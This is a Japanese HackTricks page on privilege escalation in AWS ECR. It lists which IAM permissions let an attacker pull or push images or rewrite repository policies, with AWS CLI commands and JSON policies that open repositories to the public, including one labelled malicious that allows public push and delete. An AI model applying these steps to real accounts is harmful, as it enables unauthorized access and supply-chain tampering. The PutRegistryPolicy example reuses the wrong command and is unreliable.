AWS - ECR Privesc
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ECR
ecr:GetAuthorizationToken
,ecr:BatchGetImage
ecr:GetAuthorizationToken
と ecr:BatchGetImage
の権限を持つ攻撃者は、ECRにログインして画像をダウンロードできます。
画像のダウンロード方法についての詳細は:
潜在的な影響: トラフィック内の機密情報を傍受することによる間接的な権限昇格。
ecr:GetAuthorizationToken
, ecr:BatchCheckLayerAvailability
, ecr:CompleteLayerUpload
, ecr:InitiateLayerUpload
, ecr:PutImage
, ecr:UploadLayerPart
これらすべての権限を持つ攻撃者は ECRにログインして画像をアップロードできます。これは、これらの画像が使用されている他の環境に権限を昇格させるのに役立ちます。
新しい画像をアップロード/更新する方法については、次を確認してください:
ecr-public:GetAuthorizationToken
, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload
, ecr-public:InitiateLayerUpload, ecr-public:PutImage
, ecr-public:UploadLayerPart
前のセクションと同様ですが、公開リポジトリ用です。
ecr:SetRepositoryPolicy
この権限を持つ攻撃者は リポジトリのポリシーを変更 して、自分自身(または全員)に 読み書きアクセス を付与することができます。
例えば、この例では全員に読み取りアクセスが付与されています。
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
my-policy.json
の内容:
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
ecr-public:SetRepositoryPolicy
前のセクションと同様ですが、パブリックリポジトリ用です。
攻撃者はECRパブリックリポジトリのリポジトリポリシーを変更して、無許可のパブリックアクセスを付与したり、権限を昇格させたりすることができます。
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
潜在的な影響: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージをプッシュ、プル、または削除できるようになります。
ecr:PutRegistryPolicy
この権限を持つ攻撃者は、レジストリポリシーを変更して、自分自身、彼のアカウント(または全員)に読み書きアクセスを付与することができます。
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。